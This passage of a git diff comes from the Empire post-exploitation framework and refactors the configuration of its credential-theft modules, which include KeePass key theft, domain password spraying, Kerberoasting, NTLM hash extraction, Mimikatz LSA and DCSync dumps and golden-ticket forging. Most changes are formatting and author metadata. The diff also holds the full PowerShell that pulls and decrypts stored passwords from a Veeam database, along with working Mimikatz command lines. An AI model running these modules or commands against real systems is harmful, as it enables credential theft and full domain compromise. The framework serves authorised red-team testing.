description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -31,5 +35,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'collection/vaults/KeeThief.ps1'
+script_path: collection/vaults/KeeThief.ps1
script_end: Get-KeePassDatabaseKey | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-KeePassDatabaseKey completed'
diff --git a/empire/server/modules/powershell/collection/vaults/remove_keepass_config_trigger.yaml b/empire/server/modules/powershell/collection/vaults/remove_keepass_config_trigger.yaml
index d5ff10a89..efe173891 100644
--- a/empire/server/modules/powershell/collection/vaults/remove_keepass_config_trigger.yaml
+++ b/empire/server/modules/powershell/collection/vaults/remove_keepass_config_trigger.yaml
@@ -1,9 +1,14 @@
name: Remove-KeePassConfigTrigger
authors:
- - '@tifkin_'
- - '@harmj0y'
+ - name: Lee Christensen
+ handle: '@tifkin_'
+ link: https://twitter.com/tifkin_
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
description: This module removes all triggers from all KeePass configs found by Find-KeePassConfig.
software: ''
+tactics: []
techniques:
- T1033
background: true
@@ -22,7 +27,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -30,5 +35,6 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'collection/vaults/KeePassConfig.ps1'
-script_end: Get-Process *keepass* | Stop-Process -Force; Find-KeePassconfig | Remove-KeePassConfigTrigger | Format-List | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Remove-KeePassConfigTrigger completed'
+script_path: collection/vaults/KeePassConfig.ps1
+script_end: Get-Process *keepass* | Stop-Process -Force; Find-KeePassconfig | Remove-KeePassConfigTrigger | Format-List |
+ {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Remove-KeePassConfigTrigger completed'
diff --git a/empire/server/modules/powershell/credentials/DomainPasswordSpray.yaml b/empire/server/modules/powershell/credentials/DomainPasswordSpray.yaml
index ac35ae351..34f1bb61c 100644
--- a/empire/server/modules/powershell/credentials/DomainPasswordSpray.yaml
+++ b/empire/server/modules/powershell/credentials/DomainPasswordSpray.yaml
@@ -1,9 +1,11 @@
name: DomainPasswordSpray
authors:
- - '@dafthack'
-description: DomainPasswordSpray is a tool written in PowerShell to perform a password
- spray attack against users of a domain.
+ - name: ''
+ handle: '@dafthack'
+ link: ''
+description: DomainPasswordSpray is a tool written in PowerShell to perform a password spray attack against users of a domain.
software: ''
+tactics: []
techniques:
- T1110
background: false
@@ -20,8 +22,7 @@ options:
required: true
value: ''
- name: UserList
- description: 'Optional UserList parameter. This will be generated automatically
- if not specified. '
+ description: 'Optional UserList parameter. This will be generated automatically if not specified. '
required: false
value: ''
- name: Password
@@ -29,8 +30,7 @@ options:
required: false
value: ''
- name: PasswordList
- description: A list of passwords one per line to use for the password spray (File
- must be loaded from the target machine).
+ description: A list of passwords one per line to use for the password spray (File must be loaded from the target machine).
required: false
value: ''
- name: OutFile
@@ -41,5 +41,5 @@ options:
description: A domain to spray against.
required: false
value: ''
-script_path: 'credentials/DomainPasswordSpray.ps1'
-script_end: "Invoke-DomainPasswordSpray {{ PARAMS }} -Force;"
\ No newline at end of file
+script_path: credentials/DomainPasswordSpray.ps1
+script_end: Invoke-DomainPasswordSpray {{ PARAMS }} -Force;
diff --git a/empire/server/modules/powershell/credentials/VeeamGetCreds.yaml b/empire/server/modules/powershell/credentials/VeeamGetCreds.yaml
index dd264f427..10fb8a490 100644
--- a/empire/server/modules/powershell/credentials/VeeamGetCreds.yaml
+++ b/empire/server/modules/powershell/credentials/VeeamGetCreds.yaml
@@ -1,12 +1,14 @@
name: Invoke-VeeamGetCreds
authors:
- - '@sadshade'
-
+ - name: ''
+ handle: '@sadshade'
+ link: ''
description: A PowerShell script for getting and decrypting accounts directly from the Veeam's database.
software:
+tactics: []
techniques:
- T1555.005
@@ -23,7 +25,7 @@ language: powershell
min_language_version: '2'
comments:
- - 'https://github.com/sadshade/veeam-creds'
+ - https://github.com/sadshade/veeam-creds
# Any options needed by the module, settable during runtime
options:
@@ -35,7 +37,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html"").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -47,7 +49,7 @@ script: |
function Invoke-VeeamGetCreds {
Add-Type -assembly System.Security
-
+
#Searching for connection parameters in the registry
try {
$VeaamRegPath = "HKLM:\SOFTWARE\Veeam\Veeam Backup and Replication\"
@@ -59,10 +61,10 @@ script: |
"Can't find Veeam on localhost, try running as Administrator"
exit -1
}
-
+
""
"Found Veeam DB on "+$SqlServerName+"\"+$SqlInstanceName+"@"+$SqlDatabaseName+", connecting... "
-
+
#Forming the connection string
$SQL = "SELECT [user_name] AS 'User Name',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''"
$auth = "Integrated Security=SSPI;" #Local user
@@ -70,7 +72,7 @@ script: |
"Initial Catalog=$SqlDatabaseName; $auth; "
$connection = New-Object System.Data.OleDb.OleDbConnection $connectionString
$command = New-Object System.Data.OleDb.OleDbCommand $SQL, $connection
-
+
#Fetching encrypted credentials from the database
try {
$connection.Open()
@@ -83,14 +85,14 @@ script: |
"Can't connect to DB, exit."
exit -1
}
-
+
"OK"
$rows=($dataset.Tables | Select-Object -Expand Rows)
if ($rows.count -eq 0) {
"No passwords today, sorry."
exit
}
-
+
""
"Here are some passwords for you, have fun:"
""
@@ -101,7 +103,7 @@ script: |
$enc = [system.text.encoding]::Default
$_.password = $enc.GetString($ClearPWD)
}
-
+
$rows
}
diff --git a/empire/server/modules/powershell/credentials/credential_injection.py b/empire/server/modules/powershell/credentials/credential_injection.py
index 56c800907..f02b180f5 100644
--- a/empire/server/modules/powershell/credentials/credential_injection.py
+++ b/empire/server/modules/powershell/credentials/credential_injection.py
@@ -1,13 +1,10 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.database.models import Credential
-from empire.server.utils import data_util
+from empire.server.core.db.models import Credential
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -15,14 +12,13 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -41,7 +37,6 @@ def generate(
# if a credential ID is specified, try to parse
cred_id = params["CredID"]
if cred_id != "":
-
if not main_menu.credentials.is_credential_valid(cred_id):
return handle_error_message("[!] CredID is invalid!")
@@ -77,7 +72,7 @@ def generate(
else:
script_end += " -" + str(option) + " " + str(values)
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/credentials/credential_injection.yaml b/empire/server/modules/powershell/credentials/credential_injection.yaml
index 84d895b2e..1c898b803 100644
--- a/empire/server/modules/powershell/credentials/credential_injection.yaml
+++ b/empire/server/modules/powershell/credentials/credential_injection.yaml
@@ -1,9 +1,12 @@
name: Invoke-CredentialInjection
authors:
- - '@JosephBialek'
-description: Runs PowerSploit's Invoke-CredentialInjection to create logons with clear-text
- credentials without triggering a suspicious Event ID 4648 (Explicit Credential Logon).
+ - name: Joseph Bialek
+ handle: '@JosephBialek'
+ link: https://twitter.com/JosephBialek
+description: Runs PowerSploit's Invoke-CredentialInjection to create logons with clear-text credentials without triggering
+ a suspicious Event ID 4648 (Explicit Credential Logon).
software: S0194
+tactics: []
techniques:
- T1214
- T1003
@@ -45,14 +48,13 @@ options:
required: false
value: ''
- name: LogonType
- description: Logon type of the injected logon (Interactive, RemoteInteractive, or
- NetworkCleartext)
+ description: Logon type of the injected logon (Interactive, RemoteInteractive, or NetworkCleartext)
required: false
value: RemoteInteractive
- name: AuthPackage
description: authentication package to use (Kerberos or Msv1_0)
required: false
value: Kerberos
-script_path: 'credentials/Invoke-CredentialInjection.ps1'
+script_path: credentials/Invoke-CredentialInjection.ps1
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/credentials/enum_cred_store.yaml b/empire/server/modules/powershell/credentials/enum_cred_store.yaml
index cb1f8b1b0..c456c6a0a 100644
--- a/empire/server/modules/powershell/credentials/enum_cred_store.yaml
+++ b/empire/server/modules/powershell/credentials/enum_cred_store.yaml
@@ -1,9 +1,11 @@
name: enum_cred_store
authors:
- - BeetleChunks
-description: Dumps plaintext credentials from the Windows Credential Manager for the
- current interactive user.
+ - name: BeetleChunks
+ handle: ''
+ link: ''
+description: Dumps plaintext credentials from the Windows Credential Manager for the current interactive user.
software: ''
+tactics: []
techniques:
- T1003
background: true
@@ -19,5 +21,5 @@ options:
description: Agent to run module on.
required: true
value: ''
-script_path: 'credentials/dumpCredStore.ps1'
+script_path: credentials/dumpCredStore.ps1
script_end: Invoke-X | %{$_ + "`n"}; 'enum_cred_store completed'
diff --git a/empire/server/modules/powershell/credentials/get_lapspasswords.yaml b/empire/server/modules/powershell/credentials/get_lapspasswords.yaml
index 9e2339c43..1e51ed4e9 100644
--- a/empire/server/modules/powershell/credentials/get_lapspasswords.yaml
+++ b/empire/server/modules/powershell/credentials/get_lapspasswords.yaml
@@ -1,9 +1,14 @@
name: Get-LAPSPasswords
authors:
- - kfosaaen
- - n0decaf
+ - name: kfosaaen
+ handle: ''
+ link: ''
+ - name: n0decaf
+ handle: ''
+ link: ''
description: Dumps user readable LAPS passwords using kfosaaen's Get-LAPSPasswords.
software: ''
+tactics: []
techniques:
- T1003
background: true
@@ -22,7 +27,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -30,5 +35,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'credentials/Get-LAPSPasswords.ps1'
+script_path: credentials/Get-LAPSPasswords.ps1
script_end: Get-LAPSPasswords | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-LAPSPasswords completed'
diff --git a/empire/server/modules/powershell/credentials/invoke_internal_monologue.yaml b/empire/server/modules/powershell/credentials/invoke_internal_monologue.yaml
index a824dc3da..ec5c4477d 100644
--- a/empire/server/modules/powershell/credentials/invoke_internal_monologue.yaml
+++ b/empire/server/modules/powershell/credentials/invoke_internal_monologue.yaml
@@ -1,7 +1,11 @@
name: Invoke-InternalMonologue
authors:
- - '@eladshamir'
- - '@4lex'
+ - name: ''
+ handle: '@eladshamir'
+ link: ''
+ - name: ''
+ handle: '@4lex'
+ link: ''
description: |
Uses the Internal Monologue attack to force easily-decryptable Net-NTLMv1
responses over localhost and without directly touching LSASS. The underlying powershell
@@ -10,6 +14,7 @@ description: |
and restore the registry to its original state. Set the options in this module to True
in order to DISABLE the behaviours
software: ''
+tactics: []
techniques:
- T1003
background: false
@@ -45,5 +50,5 @@ options:
description: Verbose
required: false
value: ''
-script_path: 'credentials/Invoke-InternalMonologue.ps1'
-script_end: "Invoke-InternalMonologue {{ PARAMS }}"
\ No newline at end of file
+script_path: credentials/Invoke-InternalMonologue.ps1
+script_end: Invoke-InternalMonologue {{ PARAMS }}
diff --git a/empire/server/modules/powershell/credentials/invoke_kerberoast.yaml b/empire/server/modules/powershell/credentials/invoke_kerberoast.yaml
index 2cd0bff70..704fcf242 100644
--- a/empire/server/modules/powershell/credentials/invoke_kerberoast.yaml
+++ b/empire/server/modules/powershell/credentials/invoke_kerberoast.yaml
@@ -1,10 +1,15 @@
name: Invoke-Kerberoast
authors:
- - '@harmj0y'
- - '@machosec'
-description: Requests kerberos tickets for all users with a non-null service principal
- name (SPN) and extracts them into a format ready for John or Hashcat.
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+ - name: ''
+ handle: '@machosec'
+ link: ''
+description: Requests kerberos tickets for all users with a non-null service principal name (SPN) and extracts them into a
+ format ready for John or Hashcat.
software: ''
+tactics: []
techniques:
- T1208
background: true
@@ -30,13 +35,11 @@ options:
required: false
value: ''
- name: Domain
- description: Specifies the domain to use for the query, defaults to the current
- domain.
+ description: Specifies the domain to use for the query, defaults to the current domain.
required: false
value: ''
- name: LDAPFilter
- description: Specifies an LDAP query string that is used to filter Active Directory
- objects.
+ description: Specifies an LDAP query string that is used to filter Active Directory objects.
required: false
value: ''
- name: SearchBase
@@ -48,19 +51,17 @@ options:
required: false
value: ''
- name: SearchScope
- description: Specifies the scope to search under, Base/OneLevel/Subtree (default
- of Subtree).
+ description: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
required: false
value: ''
- name: OutputFormat
- description: Either 'John' for John the Ripper style hash formatting, or 'Hashcat'
- for Hashcat format.
+ description: Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
required: false
value: John
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -68,5 +69,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'credentials/Invoke-Kerberoast.ps1'
+script_path: credentials/Invoke-Kerberoast.ps1
script_end: Invoke-Kerberoast {{ PARAMS }} | fl | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Invoke-Kerberoast completed'
diff --git a/empire/server/modules/powershell/credentials/invoke_ntlmextract.yaml b/empire/server/modules/powershell/credentials/invoke_ntlmextract.yaml
index 0be233b70..ffb0bcee0 100644
--- a/empire/server/modules/powershell/credentials/invoke_ntlmextract.yaml
+++ b/empire/server/modules/powershell/credentials/invoke_ntlmextract.yaml
@@ -1,8 +1,11 @@
name: Invoke-NTLMExtract
authors:
- - Tobias Heilig
+ - name: Tobias Heilig
+ handle: ''
+ link: ''
description: Extract local NTLM password hashes from the registry.
software: ''
+tactics: []
techniques:
- T1003
background: true
@@ -18,5 +21,5 @@ options:
description: Agent to run module on.
required: true
value: ''
-script_path: 'credentials/Invoke-NTLMExtract.ps1'
-script_end: "Invoke-NTLMExtract"
\ No newline at end of file
+script_path: credentials/Invoke-NTLMExtract.ps1
+script_end: Invoke-NTLMExtract
diff --git a/empire/server/modules/powershell/credentials/mimikatz/cache.yaml b/empire/server/modules/powershell/credentials/mimikatz/cache.yaml
index 486762645..6bd57bbb4 100644
--- a/empire/server/modules/powershell/credentials/mimikatz/cache.yaml
+++ b/empire/server/modules/powershell/credentials/mimikatz/cache.yaml
@@ -1,9 +1,14 @@
name: Invoke-Mimikatz LSA Dump
authors:
- - '@JosephBialek'
- - '@gentilkiwi'
+ - name: Joseph Bialek
+ handle: '@JosephBialek'
+ link: https://twitter.com/JosephBialek
+ - name: Benjamin Delpy
+ handle: '@gentilkiwi'
+ link: https://twitter.com/gentilkiwi
description: Runs PowerSploit's Invoke-Mimikatz function to extract MSCache(v2) hashes.
software: S0002
+tactics: []
techniques:
- T1098
- T1003
@@ -29,5 +34,5 @@ options:
description: Agent to run module on.
required: true
value: ''
-script_path: 'credentials/Invoke-Mimikatz.ps1'
-script_end: Invoke-Mimikatz -Command '"token::elevate" "lsadump::cache" "token::revert"';
\ No newline at end of file
+script_path: credentials/Invoke-Mimikatz.ps1
+script_end: Invoke-Mimikatz -Command '"token::elevate" "lsadump::cache" "token::revert"';
diff --git a/empire/server/modules/powershell/credentials/mimikatz/certs.yaml b/empire/server/modules/powershell/credentials/mimikatz/certs.yaml
index 0b7399ef9..475cbb73c 100644
--- a/empire/server/modules/powershell/credentials/mimikatz/certs.yaml
+++ b/empire/server/modules/powershell/credentials/mimikatz/certs.yaml
@@ -1,10 +1,14 @@
name: Invoke-Mimikatz DumpCerts
authors:
- - '@JosephBialek'
- - '@gentilkiwi'
-description: Runs PowerSploit's Invoke-Mimikatz function to extract all certificates
- to the local directory.
+ - name: Joseph Bialek
+ handle: '@JosephBialek'
+ link: https://twitter.com/JosephBialek
+ - name: Benjamin Delpy
+ handle: '@gentilkiwi'
+ link: https://twitter.com/gentilkiwi
+description: Runs PowerSploit's Invoke-Mimikatz function to extract all certificates to the local directory.
software: S0002
+tactics: []
techniques:
- T1098
- T1003
@@ -29,5 +33,6 @@ options:
description: Agent to run module on.
required: true
value: ''
-script_path: 'credentials/Invoke-Mimikatz.ps1'
-script_end: Invoke-Mimikatz -Command 'crypto::capi privilege::debug crypto::cng "crypto::certificates /systemstore:local_machine /store:root /export"'
\ No newline at end of file
+script_path: credentials/Invoke-Mimikatz.ps1
+script_end: Invoke-Mimikatz -Command 'crypto::capi privilege::debug crypto::cng "crypto::certificates /systemstore:local_machine
+ /store:root /export"'
diff --git a/empire/server/modules/powershell/credentials/mimikatz/command.yaml b/empire/server/modules/powershell/credentials/mimikatz/command.yaml
index c17a8f7e9..b002aaeec 100644
--- a/empire/server/modules/powershell/credentials/mimikatz/command.yaml
+++ b/empire/server/modules/powershell/credentials/mimikatz/command.yaml
@@ -1,10 +1,15 @@
name: Invoke-Mimikatz Command
authors:
- - '@JosephBialek'
- - '@gentilkiwi'
-description: 'Runs PowerSploit''s Invoke-Mimikatz function with a custom command.
- Note: Not all functions require admin, but many do.'
+ - name: Joseph Bialek
+ handle: '@JosephBialek'
+ link: https://twitter.com/JosephBialek
+ - name: Benjamin Delpy
+ handle: '@gentilkiwi'
+ link: https://twitter.com/gentilkiwi
+description: "Runs PowerSploit's Invoke-Mimikatz function with a custom command. Note: Not all functions require admin, but\
+ \ many do."
software: S0002
+tactics: []
techniques:
- T1098
- T1003
@@ -41,5 +46,5 @@ options:
- sekurlsa::krbtgt
- lsadump::sam
- kerberos::list
-script_path: 'credentials/Invoke-Mimikatz.ps1'
+script_path: credentials/Invoke-Mimikatz.ps1
script_end: Invoke-Mimikatz {{ PARAMS }}
diff --git a/empire/server/modules/powershell/credentials/mimikatz/dcsync.yaml b/empire/server/modules/powershell/credentials/mimikatz/dcsync.yaml
index 554124004..6e144b51f 100644
--- a/empire/server/modules/powershell/credentials/mimikatz/dcsync.yaml
+++ b/empire/server/modules/powershell/credentials/mimikatz/dcsync.yaml
@@ -1,12 +1,18 @@
name: Invoke-Mimikatz DCsync
authors:
- - '@gentilkiwi'
- - Vincent Le Toux
- - '@JosephBialek'
-description: Runs PowerSploit's Invoke-Mimikatz function to extract a given account
- password through Mimikatz's lsadump::dcsync module. This doesn't need code execution
- on a given DC, but needs to be run from a user context with DA equivalent privileges.
+ - name: Benjamin Delpy
+ handle: '@gentilkiwi'
+ link: https://twitter.com/gentilkiwi
+ - name: Vincent Le Toux
+ handle: ''
+ link: ''
+ - name: Joseph Bialek
+ handle: '@JosephBialek'
+ link: https://twitter.com/JosephBialek
+description: Runs PowerSploit's Invoke-Mimikatz function to extract a given account password through Mimikatz's lsadump::dcsync
+ module. This doesn't need code execution on a given DC, but needs to be run from a user context with DA equivalent privileges.
software: S0002
+tactics: []
techniques:
- T1098
- T1003
@@ -32,21 +38,21 @@ options:
required: true
value: ''
- name: user
- name_in_code: '/user'
+ name_in_code: /user
description: Username to extract the hash for (domain\username format).
required: true
value: ''
- name: domain
- name_in_code: '/domain'
+ name_in_code: /domain
description: Specified (fqdn) domain to pull for the primary domain/DC.
required: false
value: ''
- name: dc
- name_in_code: '/dc'
+ name_in_code: /dc
description: Specified (fqdn) domain controller to pull replication data from.
required: false
value: ''
-script_path: 'credentials/Invoke-Mimikatz.ps1'
+script_path: credentials/Invoke-Mimikatz.ps1
script_end: Invoke-Mimikatz -Command '"lsadump::dcsync {{ PARAMS }}"';
advanced:
- option_format_string: "{{ KEY }}:{{ VALUE }}"
\ No newline at end of file
+ option_format_string: '{{ KEY }}:{{ VALUE }}'
diff --git a/empire/server/modules/powershell/credentials/mimikatz/dcsync_hashdump.py b/empire/server/modules/powershell/credentials/mimikatz/dcsync_hashdump.py
index 7f98f31c8..b74bfc37a 100644
--- a/empire/server/modules/powershell/credentials/mimikatz/dcsync_hashdump.py
+++ b/empire/server/modules/powershell/credentials/mimikatz/dcsync_hashdump.py
@@ -1,12 +1,9 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -14,14 +11,13 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -47,7 +43,7 @@ def generate(
outputf = params.get("OutputFunction", "Out-String")
script_end += f" | {outputf};"
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/credentials/mimikatz/dcsync_hashdump.yaml b/empire/server/modules/powershell/credentials/mimikatz/dcsync_hashdump.yaml
index 692296b76..a4cdb4781 100644
--- a/empire/server/modules/powershell/credentials/mimikatz/dcsync_hashdump.yaml
+++ b/empire/server/modules/powershell/credentials/mimikatz/dcsync_hashdump.yaml
@@ -1,14 +1,24 @@
name: Invoke-Mimikatz DCsync - Full Hashdump
authors:
- - '@gentilkiwi'
- - Vincent Le Toux
- - '@JosephBialek'
- - '@harmj0y'
- - '@monoxgas'
-description: Runs PowerSploit's Invoke-Mimikatz function to collect all domain hashes
- using Mimikatz'slsadump::dcsync module. This doesn't need code execution on a given
- DC, but needs to be run froma user context with DA equivalent privileges.
+ - name: Benjamin Delpy
+ handle: '@gentilkiwi'
+ link: https://twitter.com/gentilkiwi
+ - name: Vincent Le Toux
+ handle: ''
+ link: ''
+ - name: Joseph Bialek
+ handle: '@JosephBialek'
+ link: https://twitter.com/JosephBialek
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+ - name: ''
+ handle: '@monoxgas'
+ link: ''
+description: Runs PowerSploit's Invoke-Mimikatz function to collect all domain hashes using Mimikatz'slsadump::dcsync module.
+ This doesn't need code execution on a given DC, but needs to be run froma user context with DA equivalent privileges.
software: S0002
+tactics: []
techniques:
- T1098
- T1003
@@ -46,14 +56,14 @@ options:
required: false
value: ''
- name: Active
- description: Switch. Only collect hashes for accounts marked as active. Default
- is True
+ description: Switch. Only collect hashes for accounts marked as active. Default is True
required: false
value: ''
- name: OutputFunction
- description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo- Html", "ConvertTo-Xml").
+ description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo- Html",
+ "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -61,6 +71,6 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'credentials/Invoke-Mimikatz.ps1'
+script_path: credentials/Invoke-Mimikatz.ps1
advanced:
custom_generate: true
diff --git a/empire/server/modules/powershell/credentials/mimikatz/extract_tickets.yaml b/empire/server/modules/powershell/credentials/mimikatz/extract_tickets.yaml
index c04681446..a4b361ae1 100644
--- a/empire/server/modules/powershell/credentials/mimikatz/extract_tickets.yaml
+++ b/empire/server/modules/powershell/credentials/mimikatz/extract_tickets.yaml
@@ -1,10 +1,14 @@
name: Invoke-Mimikatz extract kerberos tickets.
authors:
- - '@JosephBialek'
- - '@gentilkiwi'
-description: Runs PowerSploit's Invoke-Mimikatz function to extract kerberos tickets
- from memory in base64-encoded form.
+ - name: Joseph Bialek
+ handle: '@JosephBialek'
+ link: https://twitter.com/JosephBialek
+ - name: Benjamin Delpy
+ handle: '@gentilkiwi'
+ link: https://twitter.com/gentilkiwi
+description: Runs PowerSploit's Invoke-Mimikatz function to extract kerberos tickets from memory in base64-encoded form.
software: S0002
+tactics: []
techniques:
- T1098
- T1003
@@ -29,5 +33,5 @@ options:
description: Agent to run module on.
required: true
value: ''
-script_path: 'credentials/Invoke-Mimikatz.ps1'
-script_end: Invoke-Mimikatz -Command '"standard::base64" "kerberos::list /export"'
\ No newline at end of file
+script_path: credentials/Invoke-Mimikatz.ps1
+script_end: Invoke-Mimikatz -Command '"standard::base64" "kerberos::list /export"'
diff --git a/empire/server/modules/powershell/credentials/mimikatz/golden_ticket.py b/empire/server/modules/powershell/credentials/mimikatz/golden_ticket.py
index c735bd52e..85898280e 100644
--- a/empire/server/modules/powershell/credentials/mimikatz/golden_ticket.py
+++ b/empire/server/modules/powershell/credentials/mimikatz/golden_ticket.py
@@ -1,28 +1,27 @@
from __future__ import print_function
-import pathlib
+import logging
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.database.models import Credential
-from empire.server.utils import data_util
+from empire.server.core.db.models import Credential
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
+log = logging.getLogger(__name__)
+
class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -34,7 +33,6 @@ def generate(
# if a credential ID is specified, try to parse
cred_id = params["CredID"]
if cred_id != "":
-
if not main_menu.credentials.is_credential_valid(cred_id):
return handle_error_message("[!] CredID is invalid!")
@@ -50,7 +48,7 @@ def generate(
params["krbtgt"] = cred.password
if params["krbtgt"] == "":
- print(helpers.color("[!] krbtgt hash not specified"))
+ log.error("krbtgt hash not specified")
# build the golden ticket command
script_end = "Invoke-Mimikatz -Command '\"kerberos::golden"
@@ -62,7 +60,7 @@ def generate(
script_end += " /ptt\"'"
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/credentials/mimikatz/golden_ticket.yaml b/empire/server/modules/powershell/credentials/mimikatz/golden_ticket.yaml
index 77e636792..382af2d5f 100644
--- a/empire/server/modules/powershell/credentials/mimikatz/golden_ticket.yaml
+++ b/empire/server/modules/powershell/credentials/mimikatz/golden_ticket.yaml
@@ -1,10 +1,14 @@
name: Invoke-Mimikatz Golden Ticket
authors:
- - '@JosephBialek'
- - '@gentilkiwi'
-description: Runs PowerSploit's Invoke-Mimikatz function to generate a golden ticket
- and inject it into memory.
+ - name: Joseph Bialek
+ handle: '@JosephBialek'
+ link: https://twitter.com/JosephBialek
+ - name: Benjamin Delpy
+ handle: '@gentilkiwi'
+ link: https://twitter.com/gentilkiwi
+description: Runs PowerSploit's Invoke-Mimikatz function to generate a golden ticket and inject it into memory.
software: S0002
+tactics: []
techniques:
- T1098
- T1003
@@ -66,6 +70,6 @@ options:
description: Lifetime of the ticket (in minutes). Default to 10 years.
required: false
value: ''
-script_path: 'credentials/Invoke-Mimikatz.ps1'
+script_path: credentials/Invoke-Mimikatz.ps1
advanced:
custom_generate: true
diff --git a/empire/server/modules/powershell/credentials/mimikatz/keys.yaml b/empire/server/modules/powershell/credentials/mimikatz/keys.yaml
index 8211c2288..294d79ad8 100644
--- a/empire/server/modules/powershell/credentials/mimikatz/keys.yaml
+++ b/empire/server/modules/powershell/credentials/mimikatz/keys.yaml
@@ -1,10 +1,14 @@
name: Invoke-Mimikatz DumpKeys
authors:
- - '@JosephBialek'
- - '@gentilkiwi'
-description: Runs PowerSploit's Invoke-Mimikatz function to extract all keys to the
- local directory.
+ - name: Joseph Bialek
+ handle: '@JosephBialek'
+ link: https://twitter.com/JosephBialek
+ - name: Benjamin Delpy
+ handle: '@gentilkiwi'
+ link: https://twitter.com/gentilkiwi
+description: Runs PowerSploit's Invoke-Mimikatz function to extract all keys to the local directory.
software: S0002
+tactics: []
techniques:
- T1098
- T1003
@@ -29,5 +33,5 @@ options:
description: Agent to run module on.
required: true
value: ''
-script_path: 'credentials/Invoke-Mimikatz.ps1'
-script_end: Invoke-Mimikatz -Command 'crypto::capi privilege::debug crypto::cng "crypto::keys /export"'
\ No newline at end of file
+script_path: credentials/Invoke-Mimikatz.ps1
+script_end: Invoke-Mimikatz -Command 'crypto::capi privilege::debug crypto::cng "crypto::keys /export"'
diff --git a/empire/server/modules/powershell/credentials/mimikatz/logonpasswords.yaml b/empire/server/modules/powershell/credentials/mimikatz/logonpasswords.yaml
index 18a4388e7..1275b1a3a 100644
--- a/empire/server/modules/powershell/credentials/mimikatz/logonpasswords.yaml
+++ b/empire/server/modules/powershell/credentials/mimikatz/logonpasswords.yaml
